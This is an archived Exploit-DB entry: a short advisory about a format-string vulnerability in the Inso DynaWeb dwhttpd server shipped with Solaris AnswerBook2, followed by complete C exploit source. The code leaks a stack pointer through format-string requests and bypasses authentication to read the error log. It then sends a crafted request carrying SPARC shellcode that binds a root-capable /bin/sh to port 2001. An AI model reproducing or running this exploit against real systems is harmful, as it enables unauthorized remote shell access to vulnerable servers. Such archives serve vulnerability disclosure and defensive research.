Inso DynaWeb HTTPd 3.1/4.0.2/4.1 - Format String

EDB-ID:

21678

CVE:



Author:

ghandi

Type:

remote


Platform:

Solaris

Date:

2002-08-02


// source: https://www.securityfocus.com/bid/5384/info

Inso DynaWeb webserver, dwhttpd, is used as a subcomponent in products such as Sun's AnswerBook2, which is shipped as part of the Solaris operating environment. 

The dwhttpd webserver is prone to a remotely exploitable format-string vulnerability that occurs when logging requests for files that do not exist. Exploits may allow attacker-supplied code supplied to run with the privileges of the dwhttpd. 

Note that a vulnerability described in Bugtraq ID 5583 allows for unauthenticated remote attackers to view the logfile. Attackers may exploit that vulnerability to more easily exploit this issue successfully and automatically.

/*
 * Solaris/SPARC AnswerBook2 / DynaWeb HTTPD remote exploit
 *
 * Exploits a format string vulnerability in dwhttpd to overflow the
 * destination string passed to vsprintf(3S) in nsapi_log_error().
 * The constructed format string uses a large field width, which when
 * interpreted by vsprintf(), overflows the destination string and
 * places code on the stack.  Using a carefully crafted request and
 * the format string bug, it bypasses authentication to retrieve a
 * pointer to the stack out of the dwhttpd error log.  Using this
 * pointer, we calculate the exact location of our shellcode.
 * The shellcode included binds /bin/sh to port 2001.
 *
 * I found this bug on 2000-09-22, but kept poking at exploit over
 * next year or so.
 * 
 * -ghandi <ghandi@mindless.com>, 2001-07-08
 */

/* XXX: Doesn't work from an intel (little-endian) machine. */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <strings.h>
#include <stdlib.h>
#include <netdb.h>

char bindsh_sparc[] =
  "\xa0\x23\xa0\x10"	/* sub    	%sp, 16, %l0                 */
  "\xae\x23\x80\x10"	/* sub    	%sp, %l0, %l7                */
  "\xee\x23\xbf\xec"	/* st     	%l7, [%sp - 20]              */
  "\x90\x25\xe0\x0e"	/* sub    	%l7, 14, %o0                 */
  "\x92\x25\xe0\x0e"	/* sub    	%l7, 14, %o1                 */
  "\x94\x1c\x40\x11"	/* xor    	%l1, %l1, %o2                */
  "\x96\x1c\x40\x11"	/* xor    	%l1, %l1, %o3                */
  "\x98\x25\xe0\x0f"	/* sub    	%l7, 15, %o4                 */
  "\x82\x05\xe0\xd6"	/* add    	%l7, 214, %g1                */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\xa4\x1a\x80\x08"	/* xor    	%o2, %o0, %l2                */
  "\xd2\x33\xbf\xf0"	/* sth    	%o1, [%sp - 16]              */
  "\xac\x10\x27\xd1"	/* mov    	2001, %l6                    */
  "\xec\x33\xbf\xf2"	/* sth    	%l6, [%sp - 14]              */
  "\xc0\x23\xbf\xf4"	/* st     	%g0, [%sp - 12]              */
  "\x90\x1a\xc0\x12"	/* xor    	%o3, %l2, %o0                */
  "\x92\x1a\xc0\x10"	/* xor    	%o3, %l0, %o1                */
  "\x94\x1a\xc0\x17"	/* xor    	%o3, %l7, %o2                */
  "\x82\x05\xe0\xd8"	/* add    	%l7, 216, %g1                */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\x90\x1a\xc0\x12"	/* xor    	%o3, %l2, %o0                */
  "\x92\x25\xe0\x0b"	/* sub    	%l7, 11, %o1                 */
  "\x82\x05\xe0\xd9"	/* add    	%l7, 217, %g1                */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\x90\x1a\xc0\x12"	/* xor    	%o3, %l2, %o0                */
  "\x92\x1a\xc0\x10"	/* xor    	%o3, %l0, %o1                */
  "\x94\x23\xa0\x14"	/* sub    	%sp, 20, %o2                 */
  "\x82\x05\xe0\xda"	/* add    	%l7, 218, %g1                */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\xa6\x1a\xc0\x08"	/* xor    	%o3, %o0, %l3                */
  "\x90\x1a\xc0\x13"	/* xor    	%o3, %l3, %o0                */
  "\x92\x25\xe0\x07"	/* sub    	%l7, 7, %o1                  */
  "\x94\x1b\x80\x0e"	/* xor    	%sp, %sp, %o2                */
  "\x82\x05\xe0\x2e"	/* add    	%l7, 46, %g1                 */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\x90\x1a\xc0\x13"	/* xor    	%o3, %l3, %o0                */
  "\x92\x25\xe0\x07"	/* sub    	%l7, 7, %o1                  */
  "\x94\x02\xe0\x01"	/* add    	%o3, 1, %o2                  */
  "\x82\x05\xe0\x2e"	/* add    	%l7, 46, %g1                 */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\x90\x1a\xc0\x13"	/* xor    	%o3, %l3, %o0                */
  "\x92\x25\xe0\x07"	/* sub    	%l7, 7, %o1                  */
  "\x94\x02\xe0\x02"	/* add    	%o3, 2, %o2                  */
  "\x82\x05\xe0\x2e"	/* add    	%l7, 46, %g1                 */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\x90\x1b\x80\x0e"	/* xor    	%sp, %sp, %o0                */
  "\x82\x02\xe0\x17"	/* add    	%o3, 23, %g1                 */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\x21\x0b\xd8\x9a"	/* sethi  	%hi(0x2f626800), %l0         */
  "\xa0\x14\x21\x6e"	/* or     	%l0, 0x16e, %l0	! 0x2f62696e */
  "\x23\x0b\xdc\xda"	/* sethi  	%hi(0x2f736800), %l1         */
  "\x90\x23\xa0\x10"	/* sub    	%sp, 16, %o0                 */
  "\x92\x23\xa0\x08"	/* sub    	%sp, 8, %o1                  */
  "\x94\x1b\x80\x0e"	/* xor    	%sp, %sp, %o2                */
  "\xe0\x3b\xbf\xf0"	/* std    	%l0, [%sp - 16]              */
  "\xd0\x23\xbf\xf8"	/* st     	%o0, [%sp - 8]               */
  "\xc0\x23\xbf\xfc"	/* st     	%g0, [%sp - 4]               */
  "\x82\x02\xe0\x3b"	/* add    	%o3, 59, %g1                 */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
  "\x90\x1b\x80\x0e"	/* xor    	%sp, %sp, %o0                */
  "\x82\x02\xe0\x01"	/* add    	%o3, 1, %g1                  */
  "\x91\xd0\x38\x08"	/* ta     	0x8                          */
;

typedef struct {
    char* version;       /* dwhttpd version string */
    int   ptr_offset;    /* Distance between stack pointer and '/' */
    int   align;         /* Double-word alignment padding, if any */
} dwhttpd_t;

typedef struct {
    char*         host;       /* Target host */
    int           port;       /* dwhttpd port (usually 8888) */
    unsigned long saved_fp;   /* Saved frame pointer */
    unsigned long saved_pc;   /* Saved program counter */
    char*         code;       /* Port binding code */
    char*         recon;      /* Reconaissance request string */
    dwhttpd_t*    dwhttpd;    /* version specific exploit parameters */
} target_t;    

/*
 * Default target version parameters
 */
dwhttpd_t dwhttpds[] = {
    { "dwhttpd/4.0.2a7a", 4779, 0 }, /* 1.2, Solaris_7 */
    { "dwhttpd/4.1a6",    4779, 0 }, /* 1.4, 1.4.1, 1.4.2 */
    { NULL, 0, 0 }
};

char* dwhttpd_hstrerror(int);
int   dwhttpd_get(target_t*, char*);
int   dwhttpd_recon(target_t*);
int   dwhttpd_get_ptr(target_t*);
int   dwhttpd_check_address(target_t*);
char* dwhttpd_munge(unsigned long);
int   dwhttpd_exploit(target_t*);

int main(int argc, char* argv[])
{
    char c;
    int recon = 1, exploit = 1;
    target_t target = { 0, 8888, 0, 0, bindsh_sparc, 0, &dwhttpds[1]};
    
    while ((c = getopt(argc, argv, "tr:d:")) != EOF) {
	switch (c) {
	case 'd':
	    target.dwhttpd = &dwhttpds[atoi(optarg)];
	    break;
	case 't':
	    exploit = 0;
	    break;
	case 'r':
	    recon = 0;
	    target.saved_pc = strtoul(optarg, NULL, 0);
	    target.saved_fp = target.saved_pc - 32;
	    break;
	default:
	    fprintf(stderr, "unknown flag, read the usage this 
time.\n");
	    return -1;
	}
    }

    if (!argv[optind]) {
	fprintf(stderr, "usage: %s [[-t] | [-r return address]] 
<hostname>\n"
		        " -t\tonly calculate return address\n"
		        " -r ret\tUse this return address\n",
		argv[0]);
	return -1;
    }
    
    target.host = strdup(argv[optind]);
   
    setvbuf(stdout, NULL, _IONBF, 0);
    
    if (recon) {
	/*
	 * Send the reconnaissance request to get a pointer to the stack
	 */
	printf("==> Sending reconnaissance request...\t\t\t");
	if (dwhttpd_recon(&target)) {
	    char* msg;
	    if (errno)
		msg = strerror(errno);
	    else
		msg = dwhttpd_hstrerror(h_errno);
	    
	    fprintf(stderr, "\nError sending reconnaissance request: 
%s\n",
		    msg);
	    return -1;
	}
	printf("%s\n", target.dwhttpd->version);
	
	/*
	 * Retrieve the stack pointer from the error log and calculate 
our
	 * return address.
	 */
	printf("==> Calculating return address from error log...\t");
	if (dwhttpd_get_ptr(&target)) {
	    fprintf(stderr, "\nError retrieving error log.\n");
	    return -1;
	}
	printf("0x%x\n", (unsigned int)target.saved_pc);
    }

    if (exploit) {
	/*
	 * Use the format string to overflow the buffer and jump into 
our
	 * shellcode.  Use %i7 - 24 as our %fp to give our shellcode
	 * some scratch space on the stack.
	 */
	printf("==> Attempting to exploit...\t\t\t\t");
	dwhttpd_exploit(&target);
	printf("done.\n");
	
	/*
	 * Hope it works.
	 */
	printf("==> Telnet to port 2001.\n");
    }
    
    return 0;
}

/*
 * Send a request that exploits the format string bug to print out a
 * pointer to the stack to the dwhttpd error log delimited by
 * asterisks for easy parsing.  While we're there, retrieve the
 * dwhttpd version.  Return 0 if the dwhttpd version was recognized,
 * -1 otherwise.
 */
int dwhttpd_recon(target_t* target)
{
    int fd, i;
    FILE* f;
    char line[4096];
    char* dwhttpd_version = NULL;

    sprintf(line, "/");
    for (i = 0; i < 219; i++)
	strcat(line, "%p");
    strcat(line, "*%p*");

    if ((fd = dwhttpd_get(target, line)) < 0) {
	return -1;
    }
    f = fdopen(fd, "r");
    while ((fgets(line, 4096, f)) != NULL) {
	if ((strncmp(line, "Server: ", 8)) == 0) {
	    if (strtok(line, " \r\n\t")) {
		char* server = strtok(NULL, " \r\n\t");
		if (server)
		    dwhttpd_version = strdup(server);
	    }
	}
    }
    fclose(f);

    for (i = 0; dwhttpds[i].version ; i++) {
	if (!strcmp(dwhttpd_version, dwhttpds[i].version)) {
	    target->dwhttpd = &dwhttpds[i];
	    return 0;
	}
    }
    
    errno = ENOENT;
    return -1;
}

/*
 * Bypass Ab2Admin to retrieve the error log and search for our stack
 * pointer (from dwhttpd_recon).  Our code will be at a version
 * dependent offset above that pointer, use that as our return address
 * value.
 */
int dwhttpd_get_ptr(target_t* target)
{
    int fd;
    FILE* f;
    char line[4096];
    char* ptr = NULL;
    char* request =
	"/ab2/@AdminViewError";

    if ((fd = dwhttpd_get(target, request)) < 0) {
	fprintf(stderr, "http error: %s\n", strerror(errno));
	return -1;
    }
    f = fdopen(fd, "r");
    while ((fgets(line, 4096, f)) != NULL) {
	char* str = NULL;
	if (strtok(line, "*")) {
	    str = strtok(NULL, "*");
	    if (str) {
		if (ptr) free(ptr);
		ptr = strdup(str);
	    }
	}
    }
    fclose(f);

    /*
     * Add a different offset to our pointer, depending on the version
     * of dwhttpd.  Use this as our target's saved program counter and
     * to calculate the saved frame pointer.
     */
    if (ptr) {
	unsigned int ulptr;
	if ((ulptr = strtoul(ptr, NULL, 16)) == 0) {
	    return -1;
	}
	target->saved_pc = ulptr + target->dwhttpd->ptr_offset;
	target->saved_fp = target->saved_pc - 32;
	return 0;
    }
    else {
	errno = ENOENT;
	return -1;
    }
}

/*
 * Check for double-word alignment and any character bytes in the
 * address that will make the exploit not work.  If there are any 
 * spaces or '?' characters in it, it will be parsed and truncated
 * before the format string bug.
 */
int dwhttpd_check_address(target_t* target)
{
    int i, j;
    char buf[4];
    unsigned long addrs[2];
    
    addrs[0] = target->saved_fp;
    addrs[1] = target->saved_pc;

    for (i = 0; i < 2; i++) {
	/* Check double-word alignment */
	if (((addrs[i] >> 3) << 3) != addrs[i])
	    return 1 + i;

	/* Check for parsed bytes */
	memcpy(buf, &addrs[i], 4);
	for (j = 0; j < 4; j++) {
	    if (buf[j] == '\0' || /* 0x00 */
		buf[j] == ' '  || /* 0x20 */
		buf[j] == '?')    /* 0x3f */
		return 3 + i;
	}
    }
    return 0;
}

/* Munge an address to placement in format string.  If the string has
 * a 0x20 byte in it, it will be replaced by a format trick to print
 * a space.  If there are any 0x3e ('?') or 0x00 ('\0') bytes, we
 * bail.
 */
char* dwhttpd_munge(unsigned long address)
{
    int i;
    char* str = malloc(29);

    for (i = 0; i < 4; i++) {
        char c[2];
        c[0] = ((char*)&address)[i];
        c[1] = '\0';
        
        if (c[0] == ' ')
            /* Print zero characters from the second string argument,
             * space padded to one character. (=> ' ' if arg != NULL)
             */
            strcat(str, "%2$1.0s");
        else if (c[0] == '?') {
            free(str);
            return NULL;
        }
        else if (c[0] == '\0') {
            free(str);
            return NULL;
        }
        else
            strcat(str, c);
    }

    return str;
}

/*
 * Send the exploit request using the calculated stack pointer (%fp
 * before the 'restore') and return address.  Because we can can
 * calculate the exact address from the recon request, we don't need
 * many NOPs, so we can have up to 4000 bytes of shellcode.
 */
int dwhttpd_exploit(target_t* target)
{
    int i, n, fd;
    char request[4065];
    char filler[65] = "\0";
    unsigned long saved_fp, saved_pc;
    char *saved_fp_str, *saved_pc_str;

    /* A small NOP filler */
    for (i = 0; i < 8; i++)
        strcat(filler, "\x21\x0b\xd8\x9a");
    
    /* Add space for "/%.4076[4 <= n <=28 chars][4 <= n <=28 chars]" */
    target->saved_fp += 32;
    target->saved_pc += 32;
    
    /* Check and ensure double-word alignment */
    if (((target->saved_fp >> 3) << 3) != target->saved_fp)
        saved_fp = ((target->saved_fp >> 3) << 3);

    if (((target->saved_pc >> 3) << 3) != target->saved_pc)
        saved_pc = ((target->saved_pc >> 3) << 3);

    /* Munge addresses for passing through parsing code */
    if ((saved_fp_str = dwhttpd_munge(saved_fp)) == NULL) {
        fprintf(stderr, "Couldn't munge %%fp = 0x%lx\n", saved_fp);
        return 0;
    }
    if ((saved_pc_str = dwhttpd_munge(saved_pc)) == NULL) {
        fprintf(stderr, "Couldn't munge %%i7 = 0x%lx\n", saved_pc);
        return 0;
    }

    /* Lock */
    snprintf(request, 4065, "/%%.4072x%.28s%.28s%.64s%.4000s",
	     saved_fp_str, saved_pc_str, filler, target->code);

    /* And Load */
    if ((fd = dwhttpd_get(target, request)) < 0) {
	fprintf(stderr, "http error: %s\n", strerror(errno));
	return 0;
    }
    close(fd);
    return n;
}    

/*
 * Connect to the specified server and perform a GET request for the
 * specified file.  Returns the connected socket file descriptor or -1
 * if an error occured.
 */
int dwhttpd_get(target_t* target, char* file) {
    int sock, l, n = 4080;
    struct sockaddr_in sa;
    struct hostent* he;
    size_t salen = sizeof(struct sockaddr);
    char buf[4080];
    

    if ((he = gethostbyname(target->host)) == NULL) {
	return -1;
    }
    
    sock = socket(AF_INET, SOCK_STREAM, 0);

    bzero(&sa, sizeof(struct sockaddr));

    sa.sin_family = AF_INET;
    memcpy(&sa.sin_addr, he->h_addr_list[0], he->h_length);
    sa.sin_port = htons(target->port);

    if (connect(sock, (struct sockaddr*)&sa, salen) < 0) {
        return -1;
    }

    if ((l = snprintf(buf, n, "GET %s HTTP/1.0\r\n\r\n", file)) > n) {
	fprintf(stderr, "http_get: Request too long\n");
	errno = E2BIG;
	return -1;
    }

    if ((n = send(sock, buf, l, 0)) < 0) {
	perror("send");
	return -1;
    }
    
    return sock;
}    

char* dwhttpd_hstrerror(int err) {
    char* msg;
    
    switch (h_errno) {
    case HOST_NOT_FOUND:
	msg = "Host not found";
	break;
    case NO_DATA:
	msg = "No data";
	break;
    case NO_RECOVERY:
	msg = "No recovery";
	break;
    case TRY_AGAIN:
	msg = "Try again";
	break;
    }
    
    return msg;
}